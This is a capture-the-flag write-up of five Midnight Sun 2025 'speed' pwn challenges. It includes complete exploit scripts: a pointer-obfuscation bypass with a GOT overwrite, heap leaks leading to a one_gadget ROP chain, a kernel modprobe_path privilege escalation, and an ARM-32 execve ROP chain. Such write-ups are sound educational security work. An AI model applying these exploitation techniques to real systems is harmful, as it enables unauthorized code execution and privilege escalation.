Sp33d - Midnight Sun Quals 2025
This weekend Maple Bacon played in Midnight Sun, an event finally running after near a month of delays. It would turn out there was no pwn category, offered instead was a speed category! With a schedule of 5 challenges to be released on a once every 4 hours starting from hour 4 onward. The first team to solve gets 200 points, 2nd 150, 3rd 100, and the rest 50.
Having not expected the speed category I went out camping Friday, expecting to roll back into service Saturday and spend the day grinding challenges once back in service. Regardless of being late, and not particularly FAST, I had fun playing along during the event and figured I’d capture the tiny write-ups for the sequence of challenges here.
Sp33d1: Absent…
But hey look here’s my cute dog.
We were out for a walk in the forest while the first challenge was released, my teammate Lyndon solved it while I was out.
It wouldn’t be for another 2 hours till I would get service again and find out that there were challenges to rush home for!
An appropriately paced drive back home had me land with all my camping gear 10 minutes before challenge two, time to throw my stuff on the floor and hack!
Sp33d2: Linked Pwn
This challenge had you break a linked list data structure with ‘obfuscated’ pointers.
▄▄█████████ ▄█████████▄ ▄█████████▄ ▄█████████▄ ▄████████▄ ▄█████████ ▄█████████
████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀████▄ ▀▀▀████▀▀▀ ▀▀▀████▀▀▀
████▄▄▄▄▄▄ ████▄▄▄████ ▄▄▄███▀ ▄▄▄███▀ ████ ▀████ ████ ████
▀▀▀▀▀▀▀████ ██████████▀ ▀▀▀███▄ ▀▀▀███▄ ████ ████ ████ ████
▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀ ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████▄▄████▀ ▄▄▄████▄▄▄ ▄▄▄████▄▄▄
██████████▀ ████ ██████████▀ ██████████▀ █████████▀ ██████████ ██████████
▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀
1) add
2) print
*) exit
>
we can add to the list, print out the list items, delete items through a 3rd option hidden from menu, and exit
The list items are heap allocated, with this structure
typedef struct list_item {
char data[0x38];
uint64_t obfuscated_nxt_ptr;
};
These pointers are obfuscated via bit-wise rotation and xor’ing with a secret value Essentially:
- obfuscation:
rol(address ^ *(fsbase + 0x30), 0x11)
- de-obfuscation:
ror.q(rdi_6, 0x11) ^ *(fsbase + 0x30)
In the disassembly of the add
function we can see at [1]
a check for the string XDEBUG:
.
If present, we set dbug
to 1, and move inp_ptr
forward 8.
This causes the check at [2]
where it attempts to clamp our end pointer offset to 0x38 bytes to instead clamp to 0x40.
This lets us overwrite the next pointer.
+0x401545 char* endptr_1 = strchr(&input, 0xa);
+0x40154a char* endptr = endptr_1;
+0x40154a
+0x401550 if (endptr_1) {
+0x401556 *(uint8_t*)endptr_1 = 0;
+0x401561 int128_t* inp_ptr = &input;
+0x401561
+0x401572 if (!strncmp(&input, "XDEBUG: ", 8)) { // [1]
+0x401670 dbug = 1;
+0x40167a inp_ptr = &input[8];
+0x401572 }
+0x401572
+0x401588 if (strlen(inp_ptr) > 0x38) { // [2]
+0x401588 endptr = (char*)inp_ptr + 0x38;
+0x401588 }
Setting dbug
to 1 causes the print function to output the corrupted pointer when listing the items in the list.
$ 2
[+] thing 1:
- XDEBUG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
* [DEBUG] 0xb52b2a0; corrupt = 0xbad1cfa5c5bd4d86
This lets us to recover the secret since its output corrupted pointer is just secret ^ ror(our_input, 0x11)
and we know what we overwrote the pointer with.
We can then craft a proper obfuscated pointer, allocate it over the GOT, write a one_gadget to one of the GOT entries, and win!
Here’s the final exploit script
io = start()
#io = remote("sp33d.play.hfsc.tf", 1357)
def add(thing):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'thing: ', thing)
def items():
io.sendlineafter(b'> ', b'2')
io.recvline()
result = []
while True:
if not io.recvline().startswith(b'[+]'):
break
io.recvline()
data = io.recvline().split(b'- ')[1][:8].rstrip(b'\n')
line = io.recvline()
if b'*' in line:
leaks = line.split()
result.append((data, int(leaks[2][:-1], 16), int(leaks[5], 16)))
else: result.append(data)
return result
def item(i):
return items()[i - 1]
def delete(index):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'index: ', b'%d' % index)
rol = lambda a: ((a << 0x11 | (a >> (64 - 0x11))) % 2**64).to_bytes(8, "little")
ror = lambda a: ((a >> 0x11 | (a << (64 - 0x11))) % 2**64).to_bytes(8, "little")
# trigger debug messages to get pointer information from list cmd
add(b"XDEBUG: " + b"A"*0x48)
decoded_ptr = item(1)[2]
# recover obfuscation secret
a = int.from_bytes(b"A"*8, "little")
v = ror(a)
cookie = xor(decoded_ptr.to_bytes(8, "little") , v)
# encode pointer to GOT to leak libc and eventually overwrite scanf
a = xor((0x404080).to_bytes(8, "little"), cookie)
encoded = rol(int.from_bytes(a, "little"))
# setup next pointer to GOT
delete(1)
add(b"XDEBUG: " + b"A"*0x30 + encoded)
# read libc leak
libc_leak = int.from_bytes(item(2), "little")
libc.address = libc_leak - libc.symbols["__isoc99_scanf"]
# free then overwrite 2nd item : got entry to one_gadget
delete(2)
add((libc.address + 0xef52b).to_bytes(8, "little").strip(b"\x00")) # don't write null bytes, silly input constraints in add
io.interactive()
Sp33d3: Heap
$ checksec sp33d3
[*] '/home/gray/ctf/events/midnight25/speed/sp33d3/sp33d3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ ./sp33d3
▄▄█████████ ▄█████████▄ ▄█████████▄ ▄█████████▄ ▄████████▄ ▄█████████ ▄█████████ ▄█████████
████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀████▄ ▀▀▀████▀▀▀ ▀▀▀████▀▀▀ ▀▀▀████▀▀▀
████▄▄▄▄▄▄ ████▄▄▄████ ▄▄▄███▀ ▄▄▄███▀ ████ ▀████ ████ ████ ████
▀▀▀▀▀▀▀████ ██████████▀ ▀▀▀███▄ ▀▀▀███▄ ████ ████ ████ ████ ████
▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀ ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████▄▄████▀ ▄▄▄████▄▄▄ ▄▄▄████▄▄▄ ▄▄▄████▄▄▄
██████████▀ ████ ██████████▀ ██████████▀ █████████▀ ██████████ ██████████ ██████████
▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀
1) malloc
2) free
3) read
4) write
*) exit
>
This is just a very simple heap-note style challenge. 0 checks, arb size malloc, arb free, arb read, arb write… what more do you want?
My solve path was as follows:
- Fill the
tcache
with small allocations - Make 2 large allocations (> 0x450), freeing the first to get it placed on the unsorted bin
- Read the freed large chunk to recover a pointer to
libc
(the main arena pointers) - With the
libc
leak, read theenviron
symbol inlibc
to get a stack address - Using the stack leak, invoke a write to place a ROP chain over the return stack of the
do_write
function, utilizing a one-gadget to get shell
from pwn import *
io = process("./sp33d3")
#io = remote("sp33d.play.hfsc.tf", 16522)
def malloc(size):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size: ', b'%d' % size)
return int(io.recvline(), 16)
def free(addr):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'addr: ', b'%x' % addr)
def read(addr, count):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'addr: ', b'%x' % addr)
io.sendlineafter(b'count: ', b'%d' % count)
return io.recv(count)
def write(addr, data):
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'addr: ', b'%x' % addr)
io.sendlineafter(b'count: ', b'%d' % len(data))
io.send(data)
v = [malloc(8) for _ in range(8)]
for i in v:
free(i)
a = malloc(0x450)
b = malloc(0x450) # avoid coalescing when a's freed
free(a)
leak = read(a, 0x40)
hb = int.from_bytes(leak[:8], "little")
libcbase = libc.address = hb - 0x203b20
'''
one_gadget:
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
'''
pop_rbx = libcbase + 0x5acf9
pop_r12 = libcbase + 0x1109ad
onegadget = libcbase + 0xef4ce
payload = flat({
0: pop_rbx,
8: 0,
0x10: pop_r12,
0x18: 0,
0x20: onegadget
})
environ = int.from_bytes(read(libc.symbols['environ'], 0x8), "little")
write(environ - 0x160, payload)
io.interactive()
Sp33d4: Kernel!
Midnight Sun CTF presents...
███████╗██████╗ ██████╗ ██████╗ ██████╗ ██╗██╗ ██╗
██╔════╝██╔══██╗╚════██╗╚════██╗██╔══██╗ ██║██║ ██║
███████╗██████╔╝ █████╔╝ █████╔╝██║ ██║ ██║██║ ██║
╚════██║██╔═══╝ ╚═══██╗ ╚═══██╗██║ ██║ ██║╚██╗ ██╔╝
███████║██║ ██████╔╝██████╔╝██████╔╝ ██║ ╚████╔╝
╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝
══════════════════════════════════════════════════════════════════════════════╗
#ifndef __NR_PWN
#define __NR_PWN 451
#endif
SYSCALL_DEFINE1(pwn, long long *, addr)
{
long long val;
val = ((u64)prandom_u32() << 32) | prandom_u32();
*addr = val;
return val;
}
══════════════════════════════════════════════════════════════════════════════╝
A speed kernel challenge!
A very minimal setup, most all protections are turned off, no KASLR and the like, but whats the actual exploit surface. We get a new syscall, that writes a random 64-bit value to an address of our choosing. This is obviously a very broken syscall and powerful primitive. There are no checks on where this address is, and whether the user has the required privileges to write to it. This means we can overwrite whatever kernel memory we want with random values, the obvious target is to use this write to execute the modprobe_path technique!
The 64 bit value we write is random, we could put some effort to figuring out if we could predict this value, but we don’t need to since the syscall also returns the value written to us.
We can just slide our 8 byte write over our target, calling the random write till the lowest byte is one we want, then incrementing. This only works if we don’t care about corrupting whats past our target, which is fine for our target modprobe_path
string.
long target = 0xffffffff81a45ca0;
const char tl[] = "/home/user/a\x00";
for (int i = 0; i < sizeof(tl); i++) {
while (1) {
int a = syscall(451, target + i);
if ((a & 0xFF) == tl[i]) {
break;
}
}
}
Once we have used this to overwrite the modprobe
path with our script target, we do the usual trigger steps, and copy over the flag from /root/flag
Here is it all packaged together
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
int main() {
long v = 0;
long target = 0xffffffff81a45ca0;
const char tl[] = "/home/user/a\x00";
for (int i = 0; i < sizeof(tl); i++) {
while (1) {
int a = syscall(451, target + i);
if ((a & 0xFF) == tl[i]) {
break;
}
}
}
system("printf '\\377\\377\\377\\377\\377\\377\\377\\377' > /home/user/corrupt");
system("chmod 755 /home/user/corrupt");
system("echo '#!/bin/sh\ncp /root/flag /home/user/flag\nchmod 777 /home/user/flag\ntouch /home/user/pwned' > /home/user/a");
system("chmod 755 /home/user/a");
system("/home/user/corrupt");
system("cat ./flag");
return 0;
}
Sp33d5: ARM ROP
The final contender, has us playing with an arm-32 pwnable
# Arch: arm-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x10000)
▄▄█████████ ▄█████████▄ ▄█████████▄ ▄█████████▄ ▄████████▄ ▄███ ▄███
████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀████▄ ████ ████
████▄▄▄▄▄▄ ████▄▄▄████ ▄▄▄███▀ ▄▄▄███▀ ████ ▀████ ████ ████
▀▀▀▀▀▀▀████ ██████████▀ ▀▀▀███▄ ▀▀▀███▄ ████ ████ ████ ▄████
▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀ ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████▄▄████▀ ████▄█████▀
██████████▀ ████ ██████████▀ ██████████▀ █████████▀ ████████▀▀
▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀
num: 10
num: 120
num: q
tot: 130
The program lets you input as many numbers as you like, once our input isn’t a valid number, it outputs the sum. If we give it > 17 numbers, it attempts to de-reference a pointer equal to the value we provide as a number and segfaults. The stack frame is roughly as follows:
uint32_t return_pointer
...
uint32_t* buffer pointer
...
int32_t num_arr[0x10]
There is no length check as we fill num_arr
, and we eventually overwrite the buffer pointer.
We can chose any value to overwrite the buffer pointer with and get arbitrary write.
There is no ASLR in play here, the stack addresses are the same on a given system each time the program is run. The offset to values on the stack like our return address depends on the shift from the environment variables placed on the stack. This is easy to find in GDB locally, but we won’t know what these are on remote, but that can be fixed later. We set the pointer to the return address on the stack and start writing a ROP chain.
One thing to note when writing arm-32 ROP is that the instruction mode (ARM/Thumb) is set by the LSB of the addresses you jump/pop to. To jump to gadgets that are Thumb instructions you need to set the LSB of the address to 1. It took awhile to remember why the instructions looked wrong when landing in the rop gadgets…
My exploit ROP chain sets up execve(/bin/sh, NULL, NULL)
.
We write integer values to our array that encode /bin/sh
at the start pre-rop, then we find the required gadgets to zero out r1
, place a pointer to our /bin/sh string in r0
, set r7
to the execve
syscall number 11, then jump to a syscall instruction svc
and win.
io = process("qemu-arm-static ./sp33d5".split())
gad1 = 0x24934 # pop {r0, r4, pc}
gad2 = 0x29339 # pop {r4, r6, r7, pc};
gad3 = 0x2209d # movs r1, #0; cmp r1, #0; bne 0x12096; cmp r3, #1; bgt 0x120aa; pop {r4, r5, r6, pc};
io.recvuntil(b"num: ")
io.sendline(str(int.from_bytes(b"/bin", "little")).encode())
io.recvuntil(b"num: ")
io.sendline(str(int.from_bytes(b"/sh\x00", "little")).encode())
# fill remaining array
for i in range(17 - 2):
io.sendline(str(0xdead).encode())
# next int overwrites our write pointer, point to return pointer for main
io.sendline(str(0x407ffc48).encode())
# rop chain
io.sendline(str(gad1).encode()) # rbp? forgot to adjust
io.sendline(str(gad1).encode()) # return pointer
io.sendline(str(0x407ffbf4).encode()) # r0 -> pointer to buffer for "/bin/sh"
io.sendline(str(2).encode()) # r4
io.sendline(str(gad2).encode()) # pc -> gadget 2
io.sendline(str(11).encode()) # r4
io.sendline(str(11).encode()) # r6
io.sendline(str(11).encode()) # r7
io.sendline(str(gad3).encode()) # pc -> gadget 3
io.sendline(str(0xdead).encode()) # r4
io.sendline(str(0xdead).encode()) # r5
io.sendline(str(0xdead).encode()) # r6
io.sendline(str(0x10aa5).encode()) # pc -> syscall gadget
io.sendline(b"a") # ret from main, trigger rop
io.interactive()
This worked locally, but we needed to figure out brute force the offset to the return address on remote.
Lyndon threw together a nice script to find the offset on remote, nabbing the final flag!
While I would have liked to dig into 1 or two more complex challenges this weekend, I still found the speed challenges fun.